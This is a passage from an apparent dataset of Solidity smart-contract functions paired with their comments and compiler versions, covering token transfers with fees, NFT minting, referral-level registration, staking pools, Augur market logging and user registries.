< TOKEN_LIMIT);\r\n uint amount = 0;\r\n if (numTokens >= ARTIST_PRINTS) {\r\n amount = PRICE;\r\n require(msg.value >= amount);\r\n }\r\n require(seedToId[seed] == 0);\r\n uint id = numTokens + 1;\r\n\r\n idToCreator[id] = _to;\r\n idToSeed[id] = seed;\r\n seedToId[seed] = id;\r\n uint a = uint(uint160(keccak256(abi.encodePacked(seed))));\r\n idToSymbolScheme[id] = getScheme(a);\r\n string memory uri = draw(id);\r\n emit Generated(id, _to, uri);\r\n\r\n numTokens = numTokens + 1;\r\n _addNFToken(_to, id);\r\n\r\n if (msg.value > amount) {\r\n msg.sender.transfer(msg.value - amount);\r\n }\r\n if (amount > 0) {\r\n BENEFICIARY.transfer(amount);\r\n }\r\n\r\n emit Transfer(address(0), _to, id);\r\n return uri;\r\n }", "version": "0.4.24"} {"comment": "// Internal transfer function which includes the Fee", "function_code": "function _transfer(address _from, address _to, uint _value) private {\r\n require(_balances[_from] >= _value, 'Must not send more than balance');\r\n require(_balances[_to] + _value >= _balances[_to], 'Balance overflow');\r\n if(!mapHolder[_to]){holderArray.push(_to); holders+=1; mapHolder[_to]=true;}\r\n _balances[_from] =_balances[_from].sub(_value);\r\n uint _fee = _getFee(_from, _to, _value); // Get fee amount\r\n _balances[_to] += (_value.sub(_fee)); // Add to receiver\r\n _balances[address(this)] += _fee; // Add fee to self\r\n totalFees += _fee; // Track fees collected\r\n emit Transfer(_from, _to, (_value.sub(_fee))); // Transfer event\r\n if (!mapAddress_Excluded[_from] && !mapAddress_Excluded[_to]) {\r\n emit Transfer(_from, address(this), _fee); // Fee Transfer event\r\n }\r\n }", "version": "0.6.4"} {"comment": "// Calculate Fee amount", "function_code": "function _getFee(address _from, address _to, uint _value) private view returns (uint) {\r\n if (mapAddress_Excluded[_from] || mapAddress_Excluded[_to]) {\r\n return 0; // No fee if excluded\r\n } else {\r\n return (_value / 1000); // Fee amount = 0.1%\r\n }\r\n }", "version": "0.6.4"} {"comment": "/**\n * @dev Same as {_get}, with a custom error message when `key` is not in the map.\n */", "function_code": "function _get(Map storage map, bytes32 key, string memory errorMessage) private view returns (bytes32) {\n uint256 keyIndex = map._indexes[key];\n require(keyIndex != 0, errorMessage); // Equivalent to contains(map, key)\n return map._entries[keyIndex - 1]._value; // All indexes are 1-based\n }", "version": "0.6.12"} {"comment": "// Allow to query for remaining upgrade amount", "function_code": "function getRemainingAmount() public view returns (uint amount){\r\n uint maxEmissions = (upgradeHeight-1) * mapEra_Emission[1]; // Max Emission on Old Contract\r\n uint maxUpgradeAmount = (maxEmissions).sub(VETH(vether2).totalFees()); // Minus any collected fees\r\n if(maxUpgradeAmount >= upgradedAmount){\r\n return maxUpgradeAmount.sub(upgradedAmount); // Return remaining\r\n } else {\r\n return 0; // Return 0\r\n }\r\n }", "version": "0.6.4"} {"comment": "// V1 upgrades by calling V2 snapshot", "function_code": "function upgradeV1() public {\r\n uint amount = ERC20(vether1).balanceOf(msg.sender); // Get Balance Vether1\r\n if(amount > 0){\r\n if(VETH(vether2).mapPreviousOwnership(msg.sender) < amount){\r\n amount = VETH(vether2).mapPreviousOwnership(msg.sender); // Upgrade as much as possible\r\n } \r\n uint remainingAmount = getRemainingAmount();\r\n if(remainingAmount < amount){amount = remainingAmount;} // Handle final amount\r\n upgradedAmount += amount; \r\n mapPreviousOwnership[msg.sender] = mapPreviousOwnership[msg.sender].sub(amount); // Update mappings\r\n ERC20(vether1).transferFrom(msg.sender, burnAddress, amount); // Must collect & burn tokens\r\n _transfer(address(this), msg.sender, amount); // Send to owner\r\n }\r\n }", "version": "0.6.4"} {"comment": "// V2 upgrades by calling V3 internal snapshot", "function_code": "function upgradeV2() public {\r\n uint amount = ERC20(vether2).balanceOf(msg.sender); // Get Balance Vether2\r\n if(amount > 0){\r\n if(mapPreviousOwnership[msg.sender] < amount){\r\n amount = mapPreviousOwnership[msg.sender]; // Upgrade as much as possible\r\n } \r\n uint remainingAmount = getRemainingAmount();\r\n if(remainingAmount < amount){amount = remainingAmount;} // Handle final amount\r\n upgradedAmount += amount; \r\n mapPreviousOwnership[msg.sender] = mapPreviousOwnership[msg.sender].sub(amount); // Update mappings\r\n ERC20(vether2).transferFrom(msg.sender, burnAddress, amount); // Must collect & burn tokens\r\n _transfer(address(this), msg.sender, amount); // Send to owner\r\n }\r\n }", "version": "0.6.4"} {"comment": "// Internal - Records burn", "function_code": "function _recordBurn(address _payer, address _member, uint _era, uint _day, uint _eth) private {\r\n require(VETH(vether1).currentDay() >= upgradeHeight || VETH(vether1).currentEra() > 1); // Prohibit until upgrade height\r\n if (mapEraDay_MemberUnits[_era][_day][_member] == 0){ // If hasn't contributed to this Day yet\r\n mapMemberEra_Days[_member][_era].push(_day); // Add it\r\n mapEraDay_MemberCount[_era][_day] += 1; // Count member\r\n mapEraDay_Members[_era][_day].push(_member); // Add member\r\n }\r\n mapEraDay_MemberUnits[_era][_day][_member] += _eth; // Add member's share\r\n mapEraDay_UnitsRemaining[_era][_day] += _eth; // Add to total historicals\r\n mapEraDay_Units[_era][_day] += _eth; // Add to total outstanding\r\n totalBurnt += _eth; // Add to total burnt\r\n emit Burn(_payer, _member, _era, _day, _eth, mapEraDay_Units[_era][_day]); // Burn event\r\n _updateEmission(); // Update emission Schedule\r\n }", "version": "0.6.4"} {"comment": "// Allows changing an excluded address", "function_code": "function changeExcluded(address excluded) external { \r\n if(!mapAddress_Excluded[excluded]){\r\n _transfer(msg.sender, address(this), mapEra_Emission[1]/16); // Pay fee of 128 Vether\r\n mapAddress_Excluded[excluded] = true; // Add desired address\r\n totalFees += mapEra_Emission[1]/16;\r\n } else {\r\n _transfer(msg.sender, address(this), mapEra_Emission[1]/32); // Pay fee of 64 Vether\r\n mapAddress_Excluded[excluded] = false; // Change desired address\r\n totalFees += mapEra_Emission[1]/32;\r\n } \r\n }", "version": "0.6.4"} {"comment": "// Internal - withdraw function", "function_code": "function _withdrawShare (uint _era, uint _day, address _member) private returns (uint value) {\r\n _updateEmission(); \r\n if (_era < currentEra) { // Allow if in previous Era\r\n value = _processWithdrawal(_era, _day, _member); // Process Withdrawal\r\n } else if (_era == currentEra) { // Handle if in current Era\r\n if (_day < currentDay) { // Allow only if in previous Day\r\n value = _processWithdrawal(_era, _day, _member); // Process Withdrawal\r\n }\r\n } \r\n return value;\r\n }", "version": "0.6.4"} {"comment": "// Internal - Withdrawal function", "function_code": "function _processWithdrawal (uint _era, uint _day, address _member) private returns (uint value) {\r\n uint memberUnits = mapEraDay_MemberUnits[_era][_day][_member]; // Get Member Units\r\n if (memberUnits == 0) { \r\n value = 0; // Do nothing if 0 (prevents revert)\r\n } else {\r\n value = getEmissionShare(_era, _day, _member); // Get the emission Share for Member\r\n mapEraDay_MemberUnits[_era][_day][_member] = 0; // Set to 0 since it will be withdrawn\r\n mapEraDay_UnitsRemaining[_era][_day] = mapEraDay_UnitsRemaining[_era][_day].sub(memberUnits); // Decrement Member Units\r\n mapEraDay_EmissionRemaining[_era][_day] = mapEraDay_EmissionRemaining[_era][_day].sub(value); // Decrement emission\r\n totalEmitted += value; // Add to Total Emitted\r\n _transfer(address(this), _member, value); // ERC20 transfer function\r\n emit Withdrawal(msg.sender, _member, _era, _day, \r\n value, mapEraDay_EmissionRemaining[_era][_day]);\r\n }\r\n return value;\r\n }", "version": "0.6.4"} {"comment": "// Get emission Share function", "function_code": "function getEmissionShare(uint era, uint day, address member) public view returns (uint value) {\r\n uint memberUnits = mapEraDay_MemberUnits[era][day][member]; // Get Member Units\r\n if (memberUnits == 0) {\r\n return 0; // If 0, return 0\r\n } else {\r\n uint totalUnits = mapEraDay_UnitsRemaining[era][day]; // Get Total Units\r\n uint emissionRemaining = mapEraDay_EmissionRemaining[era][day]; // Get emission remaining for Day\r\n uint balance = _balances[address(this)]; // Find remaining balance\r\n if (emissionRemaining > balance) { emissionRemaining = balance; } // In case less than required emission\r\n value = (emissionRemaining * memberUnits) / totalUnits; // Calculate share\r\n return value; \r\n }\r\n }", "version": "0.6.4"} {"comment": "// Calculate Era emission", "function_code": "function getNextEraEmission() public view returns (uint) {\r\n if (emission > coin) { // Normal Emission Schedule\r\n return emission / 2; // Emissions: 2048 -> 1.0\r\n } else{ // Enters Fee Era\r\n return coin; // Return 1.0 from fees\r\n }\r\n }", "version": "0.6.4"} {"comment": "// Calculate Day emission", "function_code": "function getDayEmission() public view returns (uint) {\r\n uint balance = _balances[address(this)]; // Find remaining balance\r\n if (balance > emission) { // Balance is sufficient\r\n return emission; // Return emission\r\n } else { // Balance has dropped low\r\n return balance; // Return full balance\r\n }\r\n }", "version": "0.6.4"} {"comment": "/**\r\n * Transfer tokens from other address\r\n *\r\n * Send `_value` tokens to `_to` on behalf of `_from`\r\n *\r\n * @param _from The address of the sender\r\n * @param _to The address of the recipient\r\n * @param _value the amount to send\r\n */", "function_code": "function transferFrom(address _from, address _to, uint256 _value)\r\n external\r\n returns(bool success) {\r\n // Check allowance\r\n require(_value <= _allowance[_from][msg.sender], \"Not enough allowance!\");\r\n // Check balance\r\n require(_value <= _balanceOf[_from], \"Not enough balance!\");\r\n _allowance[_from][msg.sender] = _allowance[_from][msg.sender].sub(_value);\r\n _transfer(_from, _to, _value);\r\n emit Approval(_from, _to, _allowance[_from][_to]);\r\n return true;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev User registration\r\n */", "function_code": "function regUser(uint _referrerID, bytes32[3] calldata _mrs, uint8 _v) external payable {\r\n require(lockStatus == false, \"Contract Locked\");\r\n require(users[msg.sender].isExist == false, \"User exist\");\r\n require(_referrerID > 0 && _referrerID <= currentId, \"Incorrect referrer Id\");\r\n require(msg.value == LEVEL_PRICE[1], \"Incorrect Value\");\r\n \r\n if (users[userList[_referrerID]].referral.length >= referrer1Limit) \r\n _referrerID = users[findFreeReferrer(userList[_referrerID])].id;\r\n\r\n UserStruct memory userStruct;\r\n currentId++;\r\n \r\n userStruct = UserStruct({\r\n isExist: true,\r\n id: currentId,\r\n referrerID: _referrerID,\r\n currentLevel: 1,\r\n totalEarningEth:0,\r\n referral: new address[](0)\r\n });\r\n\r\n users[msg.sender] = userStruct;\r\n userList[currentId] = msg.sender;\r\n users[msg.sender].levelExpired[1] = now.add(PERIOD_LENGTH);\r\n users[userList[_referrerID]].referral.push(msg.sender);\r\n loopCheck[msg.sender] = 0;\r\n createdDate[msg.sender] = now;\r\n\r\n payForLevel(0, 1, msg.sender, ((LEVEL_PRICE[1].mul(adminFee)).div(10**20)), _mrs, _v, msg.value);\r\n\r\n emit regLevelEvent(msg.sender, userList[_referrerID], now);\r\n }", "version": "0.5.14"} {"comment": "//\n// Logging\n//\n// This signature is intended for the categorical market creation. We use two signatures for the same event because of stack depth issues which can be circumvented by maintaining order of paramaters", "function_code": "function logMarketCreated(bytes32 _topic, string _description, string _extraInfo, IUniverse _universe, address _market, address _marketCreator, bytes32[] _outcomes, int256 _minPrice, int256 _maxPrice, IMarket.MarketType _marketType) public returns (bool) {\r\n require(isKnownUniverse(_universe));\r\n require(_universe == IUniverse(msg.sender));\r\n MarketCreated(_topic, _description, _extraInfo, _universe, _market, _marketCreator, _outcomes, _universe.getOrCacheMarketCreationCost(), _minPrice, _maxPrice, _marketType);\r\n return true;\r\n }", "version": "0.4.20"} {"comment": "// This signature is intended for yesNo and scalar market creation. See function comment above for explanation.", "function_code": "function logMarketCreated(bytes32 _topic, string _description, string _extraInfo, IUniverse _universe, address _market, address _marketCreator, int256 _minPrice, int256 _maxPrice, IMarket.MarketType _marketType) public returns (bool) {\r\n require(isKnownUniverse(_universe));\r\n require(_universe == IUniverse(msg.sender));\r\n MarketCreated(_topic, _description, _extraInfo, _universe, _market, _marketCreator, new bytes32[](0), _universe.getOrCacheMarketCreationCost(), _minPrice, _maxPrice, _marketType);\r\n return true;\r\n }", "version": "0.4.20"} {"comment": "//\n// Constructor\n//\n// No validation is needed here as it is simply a librarty function for organizing data", "function_code": "function create(IController _controller, address _creator, uint256 _outcome, Order.Types _type, uint256 _attoshares, uint256 _price, IMarket _market, bytes32 _betterOrderId, bytes32 _worseOrderId) internal view returns (Data) {\r\n require(_outcome < _market.getNumberOfOutcomes());\r\n require(_price < _market.getNumTicks());\r\n\r\n IOrders _orders = IOrders(_controller.lookup(\"Orders\"));\r\n IAugur _augur = _controller.getAugur();\r\n\r\n return Data({\r\n orders: _orders,\r\n market: _market,\r\n augur: _augur,\r\n id: 0,\r\n creator: _creator,\r\n outcome: _outcome,\r\n orderType: _type,\r\n amount: _attoshares,\r\n price: _price,\r\n sharesEscrowed: 0,\r\n moneyEscrowed: 0,\r\n betterOrderId: _betterOrderId,\r\n worseOrderId: _worseOrderId\r\n });\r\n }", "version": "0.4.20"} {"comment": "/**\r\n * @dev To buy the next level by User\r\n */", "function_code": "function buyLevel(uint256 _level, bytes32[3] calldata _mrs, uint8 _v) external payable {\r\n require(lockStatus == false, \"Contract Locked\");\r\n require(users[msg.sender].isExist, \"User not exist\"); \r\n require(_level > 0 && _level <= 12, \"Incorrect level\");\r\n\r\n if (_level == 1) {\r\n require(msg.value == LEVEL_PRICE[1], \"Incorrect Value\");\r\n users[msg.sender].levelExpired[1] = users[msg.sender].levelExpired[1].add(PERIOD_LENGTH);\r\n users[msg.sender].currentLevel = 1;\r\n } else {\r\n require(msg.value == LEVEL_PRICE[_level], \"Incorrect Value\");\r\n users[msg.sender].currentLevel = _level;\r\n for (uint i = _level - 1; i > 0; i--) \r\n require(users[msg.sender].levelExpired[i] >= now, \"Buy the previous level\");\r\n \r\n if (users[msg.sender].levelExpired[_level] == 0)\r\n users[msg.sender].levelExpired[_level] = now + PERIOD_LENGTH;\r\n else \r\n users[msg.sender].levelExpired[_level] += PERIOD_LENGTH;\r\n }\r\n loopCheck[msg.sender] = 0;\r\n \r\n payForLevel(0, _level, msg.sender, ((LEVEL_PRICE[_level].mul(adminFee)).div(10**20)), _mrs, _v, msg.value);\r\n\r\n emit buyLevelEvent(msg.sender, _level, now);\r\n }", "version": "0.5.14"} {"comment": "//\n// Private functions\n//", "function_code": "function escrowFundsForBid(Order.Data _orderData) private returns (bool) {\r\n require(_orderData.moneyEscrowed == 0);\r\n require(_orderData.sharesEscrowed == 0);\r\n uint256 _attosharesToCover = _orderData.amount;\r\n uint256 _numberOfOutcomes = _orderData.market.getNumberOfOutcomes();\r\n\r\n // Figure out how many almost-complete-sets (just missing `outcome` share) the creator has\r\n uint256 _attosharesHeld = 2**254;\r\n for (uint256 _i = 0; _i < _numberOfOutcomes; _i++) {\r\n if (_i != _orderData.outcome) {\r\n uint256 _creatorShareTokenBalance = _orderData.market.getShareToken(_i).balanceOf(_orderData.creator);\r\n _attosharesHeld = SafeMathUint256.min(_creatorShareTokenBalance, _attosharesHeld);\r\n }\r\n }\r\n\r\n // Take shares into escrow if they have any almost-complete-sets\r\n if (_attosharesHeld > 0) {\r\n _orderData.sharesEscrowed = SafeMathUint256.min(_attosharesHeld, _attosharesToCover);\r\n _attosharesToCover -= _orderData.sharesEscrowed;\r\n for (_i = 0; _i < _numberOfOutcomes; _i++) {\r\n if (_i != _orderData.outcome) {\r\n _orderData.market.getShareToken(_i).trustedOrderTransfer(_orderData.creator, _orderData.market, _orderData.sharesEscrowed);\r\n }\r\n }\r\n }\r\n // If not able to cover entire order with shares alone, then cover remaining with tokens\r\n if (_attosharesToCover > 0) {\r\n _orderData.moneyEscrowed = _attosharesToCover.mul(_orderData.price);\r\n require(_orderData.augur.trustedTransfer(_orderData.market.getDenominationToken(), _orderData.creator, _orderData.market, _orderData.moneyEscrowed));\r\n }\r\n\r\n return true;\r\n }", "version": "0.4.20"} {"comment": "/**\r\n * @dev Update old contract data\r\n */", "function_code": "function oldAlexaSync(uint limit) public {\r\n require(address(oldAlexa) != address(0), \"Initialize closed\");\r\n require(msg.sender == ownerAddress, \"Access denied\");\r\n \r\n for (uint i = 0; i <= limit; i++) {\r\n UserStruct memory olduser;\r\n address oldusers = oldAlexa.userList(oldAlexaId);\r\n (olduser.isExist, \r\n olduser.id, \r\n olduser.referrerID, \r\n olduser.currentLevel, \r\n olduser.totalEarningEth) = oldAlexa.users(oldusers);\r\n address ref = oldAlexa.userList(olduser.referrerID);\r\n\r\n if (olduser.isExist) {\r\n if (!users[oldusers].isExist) {\r\n users[oldusers].isExist = true;\r\n users[oldusers].id = oldAlexaId;\r\n users[oldusers].referrerID = olduser.referrerID;\r\n users[oldusers].currentLevel = olduser.currentLevel;\r\n users[oldusers].totalEarningEth = olduser.totalEarningEth;\r\n userList[oldAlexaId] = oldusers;\r\n users[ref].referral.push(oldusers);\r\n createdDate[oldusers] = now;\r\n \r\n emit regLevelEvent(oldusers, ref, now);\r\n \r\n for (uint j = 1; j <= 12; j++) {\r\n users[oldusers].levelExpired[j] = oldAlexa.viewUserLevelExpired(oldusers, j);\r\n EarnedEth[oldusers][j] = oldAlexa.EarnedEth(oldusers, j);\r\n } \r\n }\r\n oldAlexaId++;\r\n } else {\r\n currentId = oldAlexaId.sub(1);\r\n break;\r\n \r\n }\r\n }\r\n }", "version": "0.5.14"} {"comment": "/// @dev collectSwapFeesForBTC collects fees in the case of swap WBTC to BTC.\n/// @param _destToken The address of target token.\n/// @param _incomingAmount The spent amount. (WBTC)\n/// @param _minerFee The miner fees of BTC transaction.\n/// @param _rewardsAmount The fees that should be paid.", "function_code": "function collectSwapFeesForBTC(\r\n address _destToken,\r\n uint256 _incomingAmount,\r\n uint256 _minerFee,\r\n uint256 _rewardsAmount\r\n ) external override onlyOwner returns (bool) {\r\n require(_destToken == address(0), \"_destToken should be address(0)\");\r\n address _feesToken = WBTC_ADDR;\r\n if (_incomingAmount > 0) {\r\n uint256 swapAmount = _incomingAmount.sub(_rewardsAmount).sub(\r\n _minerFee\r\n );\r\n _swap(WBTC_ADDR, address(0), swapAmount.add(_minerFee));\r\n } else if (_incomingAmount == 0) {\r\n _feesToken = address(0);\r\n }\r\n _rewardsCollection(_feesToken, _rewardsAmount);\r\n return true;\r\n }", "version": "0.7.5"} {"comment": "/**\r\n * @dev register many users\r\n */", "function_code": "function registerManyUsersFullExternal(\r\n address[] calldata _addresses,\r\n uint256 _validUntilTime,\r\n uint256[] calldata _values) external onlyOperator returns (bool)\r\n {\r\n require(_values.length <= extendedKeys_.length, \"UR08\");\r\n for (uint256 i = 0; i < _addresses.length; i++) {\r\n registerUserPrivate(_addresses[i], _validUntilTime);\r\n updateUserExtendedPrivate(userCount_, _values);\r\n }\r\n return true;\r\n }", "version": "0.5.12"} {"comment": "/**\r\n * @dev attach many addresses to many users\r\n */", "function_code": "function attachManyAddressesExternal(\r\n uint256[] calldata _userIds,\r\n address[] calldata _addresses)\r\n external onlyOperator returns (bool)\r\n {\r\n require(_addresses.length == _userIds.length, \"UR03\");\r\n for (uint256 i = 0; i < _addresses.length; i++) {\r\n attachAddress(_userIds[i], _addresses[i]);\r\n }\r\n return true;\r\n }", "version": "0.5.12"} {"comment": "/**\r\n * @dev update many users\r\n */", "function_code": "function updateManyUsersExternal(\r\n uint256[] calldata _userIds,\r\n uint256 _validUntilTime,\r\n bool _suspended) external onlyOperator returns (bool)\r\n {\r\n for (uint256 i = 0; i < _userIds.length; i++) {\r\n updateUser(_userIds[i], _validUntilTime, _suspended);\r\n }\r\n return true;\r\n }", "version": "0.5.12"} {"comment": "/**\r\n * @dev update many user extended informations\r\n */", "function_code": "function updateManyUsersExtendedExternal(\r\n uint256[] calldata _userIds,\r\n uint256 _key, uint256 _value) external onlyOperator returns (bool)\r\n {\r\n for (uint256 i = 0; i < _userIds.length; i++) {\r\n updateUserExtended(_userIds[i], _key, _value);\r\n }\r\n return true;\r\n }", "version": "0.5.12"} {"comment": "/// @dev recordIncomingFloat mints LP token.\n/// @param _token The address of target token.\n/// @param _addressesAndAmountOfFloat The address of recipient and amount.\n/// @param _zerofee The flag to accept zero fees.\n/// @param _txid The txids which is for recording.", "function_code": "function recordIncomingFloat(\r\n address _token,\r\n bytes32 _addressesAndAmountOfFloat,\r\n bool _zerofee,\r\n bytes32 _txid\r\n ) external override onlyOwner priceCheck returns (bool) {\r\n require(whitelist[_token], \"_token is invalid\");\r\n require(\r\n _issueLPTokensForFloat(\r\n _token,\r\n _addressesAndAmountOfFloat,\r\n _zerofee,\r\n _txid\r\n )\r\n );\r\n return true;\r\n }", "version": "0.7.5"} {"comment": "/**\r\n * @dev update many users full\r\n */", "function_code": "function updateManyUsersFullExternal(\r\n uint256[] calldata _userIds,\r\n uint256 _validUntilTime,\r\n bool _suspended,\r\n uint256[] calldata _values) external onlyOperator returns (bool)\r\n {\r\n require(_values.length <= extendedKeys_.length, \"UR08\");\r\n for (uint256 i = 0; i < _userIds.length; i++) {\r\n updateUser(_userIds[i], _validUntilTime, _suspended);\r\n updateUserExtendedPrivate(_userIds[i], _values);\r\n }\r\n return true;\r\n }", "version": "0.5.12"} {"comment": "/**\r\n * @dev the user associated to the provided address if the user is valid\r\n */", "function_code": "function validUser(address _address, uint256[] memory _keys) public view returns (uint256, uint256[] memory) {\r\n uint256 addressUserId = walletOwners[_address];\r\n if (isValidPrivate(users[addressUserId])) {\r\n uint256[] memory values = new uint256[](_keys.length);\r\n for (uint256 i=0; i < _keys.length; i++) {\r\n values[i] = users[addressUserId].extended[_keys[i]];\r\n }\r\n return (addressUserId, values);\r\n }\r\n return (0, new uint256[](0));\r\n }", "version": "0.5.12"} {"comment": "/**\r\n * @dev attach an address with a user\r\n */", "function_code": "function attachAddress(uint256 _userId, address _address)\r\n public onlyOperator returns (bool)\r\n {\r\n require(_userId > 0 && _userId <= userCount_, \"UR01\");\r\n require(walletOwners[_address] == 0, \"UR02\");\r\n walletOwners[_address] = _userId;\r\n\r\n emit AddressAttached(_userId, _address);\r\n return true;\r\n }", "version": "0.5.12"} {"comment": "/**\r\n * @dev update a user\r\n */", "function_code": "function updateUser(\r\n uint256 _userId,\r\n uint256 _validUntilTime,\r\n bool _suspended) public onlyOperator returns (bool)\r\n {\r\n require(_userId > 0 && _userId <= userCount_, \"UR01\");\r\n if (users[_userId].validUntilTime != _validUntilTime) {\r\n users[_userId].validUntilTime = _validUntilTime;\r\n emit UserValidity(_userId, _validUntilTime);\r\n }\r\n\r\n if (users[_userId].suspended != _suspended) {\r\n users[_userId].suspended = _suspended;\r\n if (_suspended) {\r\n emit UserSuspended(_userId);\r\n } else {\r\n emit UserRestored(_userId);\r\n }\r\n }\r\n return true;\r\n }", "version": "0.5.12"} {"comment": "/**\r\n * @dev update user extended private\r\n */", "function_code": "function updateUserExtendedPrivate(uint256 _userId, uint256[] memory _values)\r\n private\r\n {\r\n require(_userId > 0 && _userId <= userCount_, \"UR01\");\r\n for (uint256 i = 0; i < _values.length; i++) {\r\n users[_userId].extended[extendedKeys_[i]] = _values[i];\r\n }\r\n emit UserExtendedKeys(_userId, _values);\r\n }", "version": "0.5.12"} {"comment": "/// @dev recordOutcomingFloat burns LP token.\n/// @param _token The address of target token.\n/// @param _addressesAndAmountOfLPtoken The address of recipient and amount.\n/// @param _minerFee The miner fees of BTC transaction.\n/// @param _txid The txid which is for recording.", "function_code": "function recordOutcomingFloat(\r\n address _token,\r\n bytes32 _addressesAndAmountOfLPtoken,\r\n uint256 _minerFee,\r\n bytes32 _txid\r\n ) external override onlyOwner priceCheck returns (bool) {\r\n require(whitelist[_token], \"_token is invalid\");\r\n require(\r\n _burnLPTokensForFloat(\r\n _token,\r\n _addressesAndAmountOfLPtoken,\r\n _minerFee,\r\n _txid\r\n )\r\n );\r\n return true;\r\n }", "version": "0.7.5"} {"comment": "/// @dev distributeNodeRewards sends rewards for Nodes.", "function_code": "function distributeNodeRewards() external override returns (bool) {\r\n // Reduce Gas\r\n uint256 rewardLPTsForNodes = lockedLPTokensForNode.add(\r\n feesLPTokensForNode\r\n );\r\n require(\r\n rewardLPTsForNodes > 0,\r\n \"totalRewardLPsForNode is not positive\"\r\n );\r\n bytes32[] memory nodeList = getActiveNodes();\r\n uint256 totalStaked = 0;\r\n for (uint256 i = 0; i < nodeList.length; i++) {\r\n totalStaked = totalStaked.add(\r\n uint256(uint96(bytes12(nodeList[i])))\r\n );\r\n }\r\n IBurnableToken(lpToken).mint(address(this), lockedLPTokensForNode);\r\n for (uint256 i = 0; i < nodeList.length; i++) {\r\n IBurnableToken(lpToken).transfer(\r\n address(uint160(uint256(nodeList[i]))),\r\n rewardLPTsForNodes\r\n .mul(uint256(uint96(bytes12(nodeList[i]))))\r\n .div(totalStaked)\r\n );\r\n }\r\n lockedLPTokensForNode = 0;\r\n feesLPTokensForNode = 0;\r\n return true;\r\n }", "version": "0.7.5"} {"comment": "// View function to see pending tokens on frontend.", "function_code": "function pendingTokens(uint256 _pid, address _user) external view returns (uint256) {\r\n PoolInfo storage pool = poolInfo[_pid];\r\n UserInfo storage user = userInfo[_pid][_user];\r\n uint256 accTokensPerShare = pool.accTokensPerShare;\r\n uint256 lpSupply = pool.lpToken.balanceOf(address(this));\r\n if (block.number > pool.lastRewardBlock && lpSupply != 0) {\r\n uint256 tokenReward = tokensPerBlock.mul(pool.allocPoint).div(totalAllocPoint);\r\n accTokensPerShare = accTokensPerShare.add(tokenReward.mul(1e12).div(lpSupply));\r\n }\r\n return user.amount.mul(accTokensPerShare).div(1e12).sub(user.rewardDebt);\r\n }", "version": "0.6.6"} {"comment": "// Deposit LP tokens to contract for token allocation.", "function_code": "function deposit(uint256 _pid, uint256 _amount) public {\r\n PoolInfo storage pool = poolInfo[_pid];\r\n UserInfo storage user = userInfo[_pid][msg.sender];\r\n updatePool(_pid);\r\n if (user.amount > 0) {\r\n uint256 pending = user.amount.mul(pool.accTokensPerShare).div(1e12).sub(user.rewardDebt);\r\n safeTokenTransfer(msg.sender, pending);\r\n }\r\n pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount);\r\n user.amount = user.amount.add(_amount);\r\n user.rewardDebt = user.amount.mul(pool.accTokensPerShare).div(1e12);\r\n latestDepositBlockNumberForWallet[msg.sender] = block.number;\r\n emit Deposit(msg.sender, _pid, _amount);\r\n }", "version": "0.6.6"} {"comment": "// Withdraw LP tokens from contract.", "function_code": "function withdraw(uint256 _pid, uint256 _amount) public {\r\n uint256 blocksSinceDeposit = block.number - latestDepositBlockNumberForWallet[msg.sender];\r\n if(blocksSinceDeposit < maturationPeriod) {\r\n revert();\r\n }\r\n PoolInfo storage pool = poolInfo[_pid];\r\n UserInfo storage user = userInfo[_pid][msg.sender];\r\n require(user.amount >= _amount, \"withdraw: not good\");\r\n updatePool(_pid);\r\n uint256 pending = user.amount.mul(pool.accTokensPerShare).div(1e12).sub(user.rewardDebt);\r\n safeTokenTransfer(msg.sender, pending);\r\n user.amount = user.amount.sub(_amount);\r\n user.rewardDebt = user.amount.mul(pool.accTokensPerShare).div(1e12);\r\n pool.lpToken.safeTransfer(address(msg.sender), _amount);\r\n emit Withdraw(msg.sender, _pid, _amount);\r\n }", "version": "0.6.6"} {"comment": "/// @dev churn transfers contract ownership and set variables of the next TSS validator set.\n/// @param _newOwner The address of new Owner.\n/// @param _rewardAddressAndAmounts The reward addresses and amounts.\n/// @param _isRemoved The flags to remove node.\n/// @param _churnedInCount The number of next party size of TSS group.\n/// @param _tssThreshold The number of next threshold.\n/// @param _nodeRewardsRatio The number of rewards ratio for node owners\n/// @param _withdrawalFeeBPS The amount of wthdrawal fees.", "function_code": "function churn(\r\n address _newOwner,\r\n bytes32[] memory _rewardAddressAndAmounts,\r\n bool[] memory _isRemoved,\r\n uint8 _churnedInCount,\r\n uint8 _tssThreshold,\r\n uint8 _nodeRewardsRatio,\r\n uint8 _withdrawalFeeBPS\r\n ) external override onlyOwner returns (bool) {\r\n require(\r\n _tssThreshold >= tssThreshold && _tssThreshold <= 2**8 - 1,\r\n \"_tssThreshold should be >= tssThreshold\"\r\n );\r\n require(\r\n _churnedInCount >= _tssThreshold + uint8(1),\r\n \"n should be >= t+1\"\r\n );\r\n require(\r\n _nodeRewardsRatio >= 0 && _nodeRewardsRatio <= 100,\r\n \"_nodeRewardsRatio is not valid\"\r\n );\r\n require(\r\n _withdrawalFeeBPS >= 0 && _withdrawalFeeBPS <= 100,\r\n \"_withdrawalFeeBPS is invalid\"\r\n );\r\n require(\r\n _rewardAddressAndAmounts.length == _isRemoved.length,\r\n \"_rewardAddressAndAmounts and _isRemoved length is not match\"\r\n );\r\n transferOwnership(_newOwner);\r\n // Update active node list\r\n for (uint256 i = 0; i < _rewardAddressAndAmounts.length; i++) {\r\n (address newNode, ) = _splitToValues(_rewardAddressAndAmounts[i]);\r\n _addNode(newNode, _rewardAddressAndAmounts[i], _isRemoved[i]);\r\n }\r\n bytes32[] memory nodeList = getActiveNodes();\r\n if (nodeList.length > 100) {\r\n revert(\"Stored node size should be <= 100\");\r\n }\r\n churnedInCount = _churnedInCount;\r\n tssThreshold = _tssThreshold;\r\n nodeRewardsRatio = _nodeRewardsRatio;\r\n withdrawalFeeBPS = _withdrawalFeeBPS;\r\n return true;\r\n }", "version": "0.7.5"} {"comment": "/**\n * @notice read the warning flag status of a contract address.\n * @param subjects An array of addresses being checked for a flag.\n * @return An array of bools where a true value for any flag indicates that\n * a flag was raised and a false value indicates that no flag was raised.\n */", "function_code": "function getFlags(\n address[] calldata subjects\n )\n external\n view\n override\n checkAccess()\n returns (bool[] memory)\n {\n bool[] memory responses = new bool[](subjects.length);\n for (uint256 i = 0; i < subjects.length; i++) {\n responses[i] = flags[subjects[i]];\n }\n return responses;\n }", "version": "0.8.6"} {"comment": "/**\n * @notice allows owner to disable the warning flags for multiple addresses.\n * Access is controlled by loweringAccessController, except for owner\n * who always has access.\n * @param subjects List of the contract addresses whose flag is being lowered\n */", "function_code": "function lowerFlags(\n 